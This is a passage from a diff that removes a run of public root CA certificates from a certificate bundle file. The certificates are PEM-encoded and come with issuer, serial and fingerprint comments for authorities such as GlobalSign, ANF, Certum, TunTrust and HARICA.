-FgYDVQRhDA9WQVRFUy1RMjgyNjAwNEoxLDAqBgNVBAMMI0FDIFJBSVogRk5NVC1S
-Q00gU0VSVklET1JFUyBTRUdVUk9TMB4XDTE4MTIyMDA5MzczM1oXDTQzMTIyMDA5
-MzczM1oweDELMAkGA1UEBhMCRVMxETAPBgNVBAoMCEZOTVQtUkNNMQ4wDAYDVQQL
-DAVDZXJlczEYMBYGA1UEYQwPVkFURVMtUTI4MjYwMDRKMSwwKgYDVQQDDCNBQyBS
-QUlaIEZOTVQtUkNNIFNFUlZJRE9SRVMgU0VHVVJPUzB2MBAGByqGSM49AgEGBSuB
-BAAiA2IABPa6V1PIyqvfNkpSIeSX0oNnnvBlUdBeh8dHsVnyV0ebAAKTRBdp20LH
-sbI6GA60XYyzZl2hNPk2LEnb80b8s0RpRBNm/dfF/a82Tc4DTQdxz69qBdKiQ1oK
-Um8BA06Oi6NCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYD
-VR0OBBYEFAG5L++/EYZg8k/QQW6rcx/n0m5JMAoGCCqGSM49BAMDA2kAMGYCMQCu
-SuMrQMN0EfKVrRYj3k4MGuZdpSRea0R7/DjiT8ucRRcRTBQnJlU5dUoDzBOQn5IC
-MQD6SmxgiHPz7riYYqnOK8LZiqZwMR2vsJRM60/G49HzYqc8/5MuB1xJAWdpEgJy
-v+c=
------END CERTIFICATE-----
-
-# Issuer: CN=GlobalSign Root R46 O=GlobalSign nv-sa
-# Subject: CN=GlobalSign Root R46 O=GlobalSign nv-sa
-# Label: "GlobalSign Root R46"
-# Serial: 1552617688466950547958867513931858518042577
-# MD5 Fingerprint: c4:14:30:e4:fa:66:43:94:2a:6a:1b:24:5f:19:d0:ef
-# SHA1 Fingerprint: 53:a2:b0:4b:ca:6b:d6:45:e6:39:8a:8e:c4:0d:d2:bf:77:c3:a2:90
-# SHA256 Fingerprint: 4f:a3:12:6d:8d:3a:11:d1:c4:85:5a:4f:80:7c:ba:d6:cf:91:9d:3a:5a:88:b0:3b:ea:2c:63:72:d9:3c:40:c9
------BEGIN CERTIFICATE-----
-MIIFWjCCA0KgAwIBAgISEdK7udcjGJ5AXwqdLdDfJWfRMA0GCSqGSIb3DQEBDAUA
-MEYxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRwwGgYD
-VQQDExNHbG9iYWxTaWduIFJvb3QgUjQ2MB4XDTE5MDMyMDAwMDAwMFoXDTQ2MDMy
-MDAwMDAwMFowRjELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYt
-c2ExHDAaBgNVBAMTE0dsb2JhbFNpZ24gUm9vdCBSNDYwggIiMA0GCSqGSIb3DQEB
-AQUAA4ICDwAwggIKAoICAQCsrHQy6LNl5brtQyYdpokNRbopiLKkHWPd08EsCVeJ
-OaFV6Wc0dwxu5FUdUiXSE2te4R2pt32JMl8Nnp8semNgQB+msLZ4j5lUlghYruQG
-vGIFAha/r6gjA7aUD7xubMLL1aa7DOn2wQL7Id5m3RerdELv8HQvJfTqa1VbkNud
-316HCkD7rRlr+/fKYIje2sGP1q7Vf9Q8g+7XFkyDRTNrJ9CG0Bwta/OrffGFqfUo
-0q3v84RLHIf8E6M6cqJaESvWJ3En7YEtbWaBkoe0G1h6zD8K+kZPTXhc+CtI4wSE
-y132tGqzZfxCnlEmIyDLPRT5ge1lFgBPGmSXZgjPjHvjK8Cd+RTyG/FWaha/LIWF
-zXg4mutCagI0GIMXTpRW+LaCtfOW3T3zvn8gdz57GSNrLNRyc0NXfeD412lPFzYE
-+cCQYDdF3uYM2HSNrpyibXRdQr4G9dlkbgIQrImwTDsHTUB+JMWKmIJ5jqSngiCN
-I/onccnfxkF0oE32kRbcRoxfKWMxWXEM2G/CtjJ9++ZdU6Z+Ffy7dXxd7Pj2Fxzs
-x2sZy/N78CsHpdlseVR2bJ0cpm4O6XkMqCNqo98bMDGfsVR7/mrLZqrcZdCinkqa
-ByFrgY/bxFn63iLABJzjqls2k+g9vXqhnQt2sQvHnf3PmKgGwvgqo6GDoLclcqUC
-4wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNV
-HQ4EFgQUA1yrc4GHqMywptWU4jaWSf8FmSwwDQYJKoZIhvcNAQEMBQADggIBAHx4
-7PYCLLtbfpIrXTncvtgdokIzTfnvpCo7RGkerNlFo048p9gkUbJUHJNOxO97k4Vg
-JuoJSOD1u8fpaNK7ajFxzHmuEajwmf3lH7wvqMxX63bEIaZHU1VNaL8FpO7XJqti
-2kM3S+LGteWygxk6x9PbTZ4IevPuzz5i+6zoYMzRx6Fcg0XERczzF2sUyQQCPtIk
-pnnpHs6i58FZFZ8d4kuaPp92CC1r2LpXFNqD6v6MVenQTqnMdzGxRBF6XLE+0xRF
-FRhiJBPSy03OXIPBNvIQtQ6IbbjhVp+J3pZmOUdkLG5NrmJ7v2B0GbhWrJKsFjLt
-rWhV/pi60zTe9Mlhww6G9kuEYO4Ne7UyWHmRVSyBQ7N0H3qqJZ4d16GLuc1CLgSk
-ZoNNiTW2bKg2SnkheCLQQrzRQDGQob4Ez8pn7fXwgNNgyYMqIgXQBztSvwyeqiv5
-u+YfjyW6hY0XHgL+XVAEV8/+LbzvXMAaq7afJMbfc2hIkCwU9D9SGuTSyxTDYWnP
-4vkYxboznxSjBF25cfe1lNj2M8FawTSLfJvdkzrnE6JwYZ+vj+vYxXX4M2bUdGc6
-N3ec592kD3ZDZopD8p/7DEJ4Y9HiD2971KE9dJeFt0g5QdYg/NA6s/rob8SKunE3
-vouXsXgxT7PntgMTzlSdriVZzH81Xwj3QEUxeCp6
------END CERTIFICATE-----
-
-# Issuer: CN=GlobalSign Root E46 O=GlobalSign nv-sa
-# Subject: CN=GlobalSign Root E46 O=GlobalSign nv-sa
-# Label: "GlobalSign Root E46"
-# Serial: 1552617690338932563915843282459653771421763
-# MD5 Fingerprint: b5:b8:66:ed:de:08:83:e3:c9:e2:01:34:06:ac:51:6f
-# SHA1 Fingerprint: 39:b4:6c:d5:fe:80:06:eb:e2:2f:4a:bb:08:33:a0:af:db:b9:dd:84
-# SHA256 Fingerprint: cb:b9:c4:4d:84:b8:04:3e:10:50:ea:31:a6:9f:51:49:55:d7:bf:d2:e2:c6:b4:93:01:01:9a:d6:1d:9f:50:58
------BEGIN CERTIFICATE-----
-MIICCzCCAZGgAwIBAgISEdK7ujNu1LzmJGjFDYQdmOhDMAoGCCqGSM49BAMDMEYx
-CzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRwwGgYDVQQD
-ExNHbG9iYWxTaWduIFJvb3QgRTQ2MB4XDTE5MDMyMDAwMDAwMFoXDTQ2MDMyMDAw
-MDAwMFowRjELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2Ex
-HDAaBgNVBAMTE0dsb2JhbFNpZ24gUm9vdCBFNDYwdjAQBgcqhkjOPQIBBgUrgQQA
-IgNiAAScDrHPt+ieUnd1NPqlRqetMhkytAepJ8qUuwzSChDH2omwlwxwEwkBjtjq
-R+q+soArzfwoDdusvKSGN+1wCAB16pMLey5SnCNoIwZD7JIvU4Tb+0cUB+hflGdd
-yXqBPCCjQjBAMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1Ud
-DgQWBBQxCpCPtsad0kRLgLWi5h+xEk8blTAKBggqhkjOPQQDAwNoADBlAjEA31SQ
-7Zvvi5QCkxeCmb6zniz2C5GMn0oUsfZkvLtoURMMA/cVi4RguYv/Uo7njLwcAjA8
-+RHUjE7AwWHCFUyqqx0LMV87HOIAl0Qx5v5zli/altP+CAezNIm8BZ/3Hobui3A=
------END CERTIFICATE-----
-
-# Issuer: CN=ANF Secure Server Root CA O=ANF Autoridad de Certificacion OU=ANF CA Raiz
-# Subject: CN=ANF Secure Server Root CA O=ANF Autoridad de Certificacion OU=ANF CA Raiz
-# Label: "ANF Secure Server Root CA"
-# Serial: 996390341000653745
-# MD5 Fingerprint: 26:a6:44:5a:d9:af:4e:2f:b2:1d:b6:65:b0:4e:e8:96
-# SHA1 Fingerprint: 5b:6e:68:d0:cc:15:b6:a0:5f:1e:c1:5f:ae:02:fc:6b:2f:5d:6f:74
-# SHA256 Fingerprint: fb:8f:ec:75:91:69:b9:10:6b:1e:51:16:44:c6:18:c5:13:04:37:3f:6c:06:43:08:8d:8b:ef:fd:1b:99:75:99
------BEGIN CERTIFICATE-----
-MIIF7zCCA9egAwIBAgIIDdPjvGz5a7EwDQYJKoZIhvcNAQELBQAwgYQxEjAQBgNV
-BAUTCUc2MzI4NzUxMDELMAkGA1UEBhMCRVMxJzAlBgNVBAoTHkFORiBBdXRvcmlk
-YWQgZGUgQ2VydGlmaWNhY2lvbjEUMBIGA1UECxMLQU5GIENBIFJhaXoxIjAgBgNV
-BAMTGUFORiBTZWN1cmUgU2VydmVyIFJvb3QgQ0EwHhcNMTkwOTA0MTAwMDM4WhcN
-MzkwODMwMTAwMDM4WjCBhDESMBAGA1UEBRMJRzYzMjg3NTEwMQswCQYDVQQGEwJF
-UzEnMCUGA1UEChMeQU5GIEF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uMRQwEgYD
-VQQLEwtBTkYgQ0EgUmFpejEiMCAGA1UEAxMZQU5GIFNlY3VyZSBTZXJ2ZXIgUm9v
-dCBDQTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANvrayvmZFSVgpCj
-cqQZAZ2cC4Ffc0m6p6zzBE57lgvsEeBbphzOG9INgxwruJ4dfkUyYA8H6XdYfp9q
-yGFOtibBTI3/TO80sh9l2Ll49a2pcbnvT1gdpd50IJeh7WhM3pIXS7yr/2WanvtH
-2Vdy8wmhrnZEE26cLUQ5vPnHO6RYPUG9tMJJo8gN0pcvB2VSAKduyK9o7PQUlrZX
-H1bDOZ8rbeTzPvY1ZNoMHKGESy9LS+IsJJ1tk0DrtSOOMspvRdOoiXsezx76W0OL
-zc2oD2rKDF65nkeP8Nm2CgtYZRczuSPkdxl9y0oukntPLxB3sY0vaJxizOBQ+OyR
-p1RMVwnVdmPF6GUe7m1qzwmd+nxPrWAI/VaZDxUse6mAq4xhj0oHdkLePfTdsiQz
-W7i1o0TJrH93PB0j7IKppuLIBkwC/qxcmZkLLxCKpvR/1Yd0DVlJRfbwcVw5Kda/
-SiOL9V8BY9KHcyi1Swr1+KuCLH5zJTIdC2MKF4EA/7Z2Xue0sUDKIbvVgFHlSFJn
-LNJhiQcND85Cd8BEc5xEUKDbEAotlRyBr+Qc5RQe8TZBAQIvfXOn3kLMTOmJDVb3
-n5HUA8ZsyY/b2BzgQJhdZpmYgG4t/wHFzstGH6wCxkPmrqKEPMVOHj1tyRRM4y5B
-u8o5vzY8KhmqQYdOpc5LMnndkEl/AgMBAAGjYzBhMB8GA1UdIwQYMBaAFJxf0Gxj
-o1+TypOYCK2Mh6UsXME3MB0GA1UdDgQWBBScX9BsY6Nfk8qTmAitjIelLFzBNzAO
-BgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOC
-AgEATh65isagmD9uw2nAalxJUqzLK114OMHVVISfk/CHGT0sZonrDUL8zPB1hT+L
-9IBdeeUXZ701guLyPI59WzbLWoAAKfLOKyzxj6ptBZNscsdW699QIyjlRRA96Gej
-rw5VD5AJYu9LWaL2U/HANeQvwSS9eS9OICI7/RogsKQOLHDtdD+4E5UGUcjohybK
-pFtqFiGS3XNgnhAY3jyB6ugYw3yJ8otQPr0R4hUDqDZ9MwFsSBXXiJCZBMXM5gf0
-vPSQ7RPi6ovDj6MzD8EpTBNO2hVWcXNyglD2mjN8orGoGjR0ZVzO0eurU+AagNjq
-OknkJjCb5RyKqKkVMoaZkgoQI1YS4PbOTOK7vtuNknMBZi9iPrJyJ0U27U1W45eZ
-/zo1PqVUSlJZS2Db7v54EX9K3BR5YLZrZAPbFYPhor72I5dQ8AkzNqdxliXzuUJ9
-2zg/LFis6ELhDtjTO0wugumDLmsx2d1Hhk9tl5EuT+IocTUW0fJz/iUrB0ckYyfI
-+PbZa/wSMVYIwFNCr5zQM378BvAxRAMU8Vjq8moNqRGyg77FGr8H6lnco4g175x2
-MjxNBiLOFeXdntiP2t7SxDnlF4HPOEfrf4htWRvfn0IUrn7PqLBmZdo3r5+qPeoo
-tt7VMVgWglvquxl1AnMaykgaIZOQCo6ThKd9OyMYkomgjaw=
------END CERTIFICATE-----
-
-# Issuer: CN=Certum EC-384 CA O=Asseco Data Systems S.A. OU=Certum Certification Authority
-# Subject: CN=Certum EC-384 CA O=Asseco Data Systems S.A. OU=Certum Certification Authority
-# Label: "Certum EC-384 CA"
-# Serial: 160250656287871593594747141429395092468
-# MD5 Fingerprint: b6:65:b3:96:60:97:12:a1:ec:4e:e1:3d:a3:c6:c9:f1
-# SHA1 Fingerprint: f3:3e:78:3c:ac:df:f4:a2:cc:ac:67:55:69:56:d7:e5:16:3c:e1:ed
-# SHA256 Fingerprint: 6b:32:80:85:62:53:18:aa:50:d1:73:c9:8d:8b:da:09:d5:7e:27:41:3d:11:4c:f7:87:a0:f5:d0:6c:03:0c:f6
------BEGIN CERTIFICATE-----
-MIICZTCCAeugAwIBAgIQeI8nXIESUiClBNAt3bpz9DAKBggqhkjOPQQDAzB0MQsw
-CQYDVQQGEwJQTDEhMB8GA1UEChMYQXNzZWNvIERhdGEgU3lzdGVtcyBTLkEuMScw
-JQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxGTAXBgNVBAMT
-EENlcnR1bSBFQy0zODQgQ0EwHhcNMTgwMzI2MDcyNDU0WhcNNDMwMzI2MDcyNDU0
-WjB0MQswCQYDVQQGEwJQTDEhMB8GA1UEChMYQXNzZWNvIERhdGEgU3lzdGVtcyBT
-LkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxGTAX
-BgNVBAMTEENlcnR1bSBFQy0zODQgQ0EwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATE
-KI6rGFtqvm5kN2PkzeyrOvfMobgOgknXhimfoZTy42B4mIF4Bk3y7JoOV2CDn7Tm
-Fy8as10CW4kjPMIRBSqniBMY81CE1700LCeJVf/OTOffph8oxPBUw7l8t1Ot68Kj
-QjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFI0GZnQkdjrzife81r1HfS+8
-EF9LMA4GA1UdDwEB/wQEAwIBBjAKBggqhkjOPQQDAwNoADBlAjADVS2m5hjEfO/J
-UG7BJw+ch69u1RsIGL2SKcHvlJF40jocVYli5RsJHrpka/F2tNQCMQC0QoSZ/6vn
-nvuRlydd3LBbMHHOXjgaatkl5+r3YZJW+OraNsKHZZYuciUvf9/DE8k=
------END CERTIFICATE-----
-
-# Issuer: CN=Certum Trusted Root CA O=Asseco Data Systems S.A. OU=Certum Certification Authority
-# Subject: CN=Certum Trusted Root CA O=Asseco Data Systems S.A. OU=Certum Certification Authority
-# Label: "Certum Trusted Root CA"
-# Serial: 40870380103424195783807378461123655149
-# MD5 Fingerprint: 51:e1:c2:e7:fe:4c:84:af:59:0e:2f:f4:54:6f:ea:29
-# SHA1 Fingerprint: c8:83:44:c0:18:ae:9f:cc:f1:87:b7:8f:22:d1:c5:d7:45:84:ba:e5
-# SHA256 Fingerprint: fe:76:96:57:38:55:77:3e:37:a9:5e:7a:d4:d9:cc:96:c3:01:57:c1:5d:31:76:5b:a9:b1:57:04:e1:ae:78:fd
------BEGIN CERTIFICATE-----
-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
------END CERTIFICATE-----
-
-# Issuer: CN=TunTrust Root CA O=Agence Nationale de Certification Electronique
-# Subject: CN=TunTrust Root CA O=Agence Nationale de Certification Electronique
-# Label: "TunTrust Root CA"
-# Serial: 108534058042236574382096126452369648152337120275
-# MD5 Fingerprint: 85:13:b9:90:5b:36:5c:b6:5e:b8:5a:f8:e0:31:57:b4
-# SHA1 Fingerprint: cf:e9:70:84:0f:e0:73:0f:9d:f6:0c:7f:2c:4b:ee:20:46:34:9c:bb
-# SHA256 Fingerprint: 2e:44:10:2a:b5:8c:b8:54:19:45:1c:8e:19:d9:ac:f3:66:2c:af:bc:61:4b:6a:53:96:0a:30:f7:d0:e2:eb:41
------BEGIN CERTIFICATE-----
-MIIFszCCA5ugAwIBAgIUEwLV4kBMkkaGFmddtLu7sms+/BMwDQYJKoZIhvcNAQEL
-BQAwYTELMAkGA1UEBhMCVE4xNzA1BgNVBAoMLkFnZW5jZSBOYXRpb25hbGUgZGUg
-Q2VydGlmaWNhdGlvbiBFbGVjdHJvbmlxdWUxGTAXBgNVBAMMEFR1blRydXN0IFJv
-b3QgQ0EwHhcNMTkwNDI2MDg1NzU2WhcNNDQwNDI2MDg1NzU2WjBhMQswCQYDVQQG
-EwJUTjE3MDUGA1UECgwuQWdlbmNlIE5hdGlvbmFsZSBkZSBDZXJ0aWZpY2F0aW9u
-IEVsZWN0cm9uaXF1ZTEZMBcGA1UEAwwQVHVuVHJ1c3QgUm9vdCBDQTCCAiIwDQYJ
-KoZIhvcNAQEBBQADggIPADCCAgoCggIBAMPN0/y9BFPdDCA61YguBUtB9YOCfvdZ
-n56eY+hz2vYGqU8ftPkLHzmMmiDQfgbU7DTZhrx1W4eI8NLZ1KMKsmwb60ksPqxd
-2JQDoOw05TDENX37Jk0bbjBU2PWARZw5rZzJJQRNmpA+TkBuimvNKWfGzC3gdOgF
-VwpIUPp6Q9p+7FuaDmJ2/uqdHYVy7BG7NegfJ7/Boce7SBbdVtfMTqDhuazb1YMZ
-GoXRlJfXyqNlC/M4+QKu3fZnz8k/9YosRxqZbwUN/dAdgjH8KcwAWJeRTIAAHDOF
-li/LQcKLEITDCSSJH7UP2dl3RxiSlGBcx5kDPP73lad9UKGAwqmDrViWVSHbhlnU
-r8a83YFuB9tgYv7sEG7aaAH0gxupPqJbI9dkxt/con3YS7qC0lH4Zr8GRuR5KiY2
-eY8fTpkdso8MDhz/yV3A/ZAQprE38806JG60hZC/gLkMjNWb1sjxVj8agIl6qeIb
-MlEsPvLfe/ZdeikZjuXIvTZxi11Mwh0/rViizz1wTaZQmCXcI/m4WEEIcb9PuISg
-jwBUFfyRbVinljvrS5YnzWuioYasDXxU5mZMZl+QviGaAkYt5IPCgLnPSz7ofzwB
-7I9ezX/SKEIBlYrilz0QIX32nRzFNKHsLA4KUiwSVXAkPcvCFDVDXSdOvsC9qnyW
-5/yeYa1E0wCXAgMBAAGjYzBhMB0GA1UdDgQWBBQGmpsfU33x9aTI04Y+oXNZtPdE
-ITAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFAaamx9TffH1pMjThj6hc1m0
-90QhMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAqgVutt0Vyb+z
-xiD2BkewhpMl0425yAA/l/VSJ4hxyXT968pk21vvHl26v9Hr7lxpuhbI87mP0zYu
-QEkHDVneixCwSQXi/5E/S7fdAo74gShczNxtr18UnH1YeA32gAm56Q6XKRm4t+v4
-FstVEuTGfbvE7Pi1HE4+Z7/FXxttbUcoqgRYYdZ2vyJ/0Adqp2RT8JeNnYA/u8EH
-22Wv5psymsNUk8QcCMNE+3tjEUPRahphanltkE8pjkcFwRJpadbGNjHh/PqAulxP
-xOu3Mqz4dWEX1xAZufHSCe96Qp1bWgvUxpVOKs7/B9dPfhgGiPEZtdmYu65xxBzn
-dFlY7wyJz4sfdZMaBBSSSFCp61cpABbjNhzI+L/wM9VBD8TMPN3pM0MBkRArHtG5
-Xc0yGYuPjCB31yLEQtyEFpslbei0VXF/sHyz03FJuc9SpAQ/3D2gu68zngowYI7b
-nV2UqL1g52KAdoGDDIzMMEZJ4gzSqK/rYXHv5yJiqfdcZGyfFoxnNidF9Ql7v/YQ
-CvGwjVRDjAS6oz/v4jXH+XTgbzRB0L9zZVcg+ZtnemZoJE6AZb0QmQZZ8mWvuMZH
-u/2QeItBcy6vVR/cO5JyboTT0GFMDcx2V+IthSIVNg3rAZ3r2OvEhJn7wAzMMujj
-d9qDRIueVSjAi1jTkD5OGwDxFa2DK5o=
------END CERTIFICATE-----
-
-# Issuer: CN=HARICA TLS RSA Root CA 2021 O=Hellenic Academic and Research Institutions CA
-# Subject: CN=HARICA TLS RSA Root CA 2021 O=Hellenic Academic and Research Institutions CA
-# Label: "HARICA TLS RSA Root CA 2021"
-# Serial: 76817823531813593706434026085292783742
-# MD5 Fingerprint: 65:47:9b:58:86:dd:2c:f0:fc:a2:84:1f:1e:96:c4:91
-# SHA1 Fingerprint: 02:2d:05:82:fa:88:ce:14:0c:06:79:de:7f:14:10:e9:45:d7:a5:6d
-# SHA256 Fingerprint: d9:5d:0e:8e:da:79:52:5b:f9:be:b1:1b:14:d2:10:0d:32:94:98:5f:0c:62:d9:fa:bd:9c:d9:99:ec:cb:7b:1d
------BEGIN CERTIFICATE-----
-MIIFpDCCA4ygAwIBAgIQOcqTHO9D88aOk8f0ZIk4fjANBgkqhkiG9w0BAQsFADBs
-MQswCQYDVQQGEwJHUjE3MDUGA1UECgwuSGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJl
-c2VhcmNoIEluc3RpdHV0aW9ucyBDQTEkMCIGA1UEAwwbSEFSSUNBIFRMUyBSU0Eg
-Um9vdCBDQSAyMDIxMB4XDTIxMDIxOTEwNTUzOFoXDTQ1MDIxMzEwNTUzN1owbDEL
-MAkGA1UEBhMCR1IxNzA1BgNVBAoMLkhlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNl
-YXJjaCBJbnN0aXR1dGlvbnMgQ0ExJDAiBgNVBAMMG0hBUklDQSBUTFMgUlNBIFJv
-b3QgQ0EgMjAyMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAIvC569l
-mwVnlskNJLnQDmT8zuIkGCyEf3dRywQRNrhe7Wlxp57kJQmXZ8FHws+RFjZiPTgE
-4VGC/6zStGndLuwRo0Xua2s7TL+MjaQenRG56Tj5eg4MmOIjHdFOY9TnuEFE+2uv
-a9of08WRiFukiZLRgeaMOVig1mlDqa2YUlhu2wr7a89o+uOkXjpFc5gH6l8Cct4M
-pbOfrqkdtx2z/IpZ525yZa31MJQjB/OCFks1mJxTuy/K5FrZx40d/JiZ+yykgmvw
-Kh+OC19xXFyuQnspiYHLA6OZyoieC0AJQTPb5lh6/a6ZcMBaD9YThnEvdmn8kN3b
-LW7R8pv1GmuebxWMevBLKKAiOIAkbDakO/IwkfN4E8/BPzWr8R0RI7VDIp4BkrcY
-AuUR0YLbFQDMYTfBKnya4dC6s1BG7oKsnTH4+yPiAwBIcKMJJnkVU2DzOFytOOqB
-AGMUuTNe3QvboEUHGjMJ+E20pwKmafTCWQWIZYVWrkvL4N48fS0ayOn7H6NhStYq
-E613TBoYm5EPWNgGVMWX+Ko/IIqmhaZ39qb8HOLubpQzKoNQhArlT4b4UEV4AIHr
-W2jjJo3Me1xR9BQsQL4aYB16cmEdH2MtiKrOokWQCPxrvrNQKlr9qEgYRtaQQJKQ
-CoReaDH46+0N0x3GfZkYVVYnZS6NRcUk7M7jAgMBAAGjQjBAMA8GA1UdEwEB/wQF
-MAMBAf8wHQYDVR0OBBYEFApII6ZgpJIKM+qTW8VX6iVNvRLuMA4GA1UdDwEB/wQE
-AwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAPpBIqm5iFSVmewzVjIuJndftTgfvnNAU
-X15QvWiWkKQUEapobQk1OUAJ2vQJLDSle1mESSmXdMgHHkdt8s4cUCbjnj1AUz/3
-f5Z2EMVGpdAgS1D0NTsY9FVqQRtHBmg8uwkIYtlfVUKqrFOFrJVWNlar5AWMxaja
-H6NpvVMPxP/cyuN+8kyIhkdGGvMA9YCRotxDQpSbIPDRzbLrLFPCU3hKTwSUQZqP
-JzLB5UkZv/HywouoCjkxKLR9YjYsTewfM7Z+d21+UPCfDtcRj88YxeMn/ibvBZ3P
-zzfF0HvaO7AWhAw6k9a+F9sPPg4ZeAnHqQJyIkv3N3a6dcSFA1pj1bF1BcK5vZSt
-jBWZp5N99sXzqnTPBIWUmAD04vnKJGW/4GKvyMX6ssmeVkjaef2WdhW+o45WxLM0
-/L5H9MG0qPzVMIho7suuyWPEdr6sOBjhXlzPrjoiUevRi7PzKzMHVIf6tLITe7pT
-BGIBnfHAT+7hOtSLIBD6Alfm78ELt5BGnBkpjNxvoEppaZS3JGWg/6w/zgH7IS79
-aPib8qXPMThcFarmlwDB31qlpzmq6YR/PFGoOtmUW4y/Twhx5duoXNTSpv4Ao8YW
-xw/ogM4cKGR0GQjTQuPOAF1/sdwTsOEFy9EgqoZ0njnnkf3/W9b3raYvAwtt41dU
-63ZTGI0RmLo=
------END CERTIFICATE-----
-
-# Issuer: CN=HARICA TLS ECC Root CA 2021 O=Hellenic Academic and Research Institutions CA
-# Subject: CN=HARICA TLS ECC Root CA 2021 O=Hellenic Academic and Research Institutions CA
-# Label: "HARICA TLS ECC Root CA 2021"
-# Serial: 137515985548005187474074462014555733966
-# MD5 Fingerprint: ae:f7:4c:e5:66:35:d1:b7:9b:8c:22:93:74:d3:4b:b0
-# SHA1 Fingerprint: bc:b0:c1:9d:e9:98:92:70:19:38:57:e9:8d:a7:b4:5d:6e:ee:01:48
-# SHA256 Fingerprint: 3f:99:cc:47:4a:cf:ce:4d:fe:d5:87:94:66:5e:47:8d:15:47:73:9f:2e:78:0f:1b:b4:ca:9b:13:30:97:d4:01
------BEGIN CERTIFICATE-----
-MIICVDCCAdugAwIBAgIQZ3SdjXfYO2rbIvT/WeK/zjAKBggqhkjOPQQDAzBsMQsw
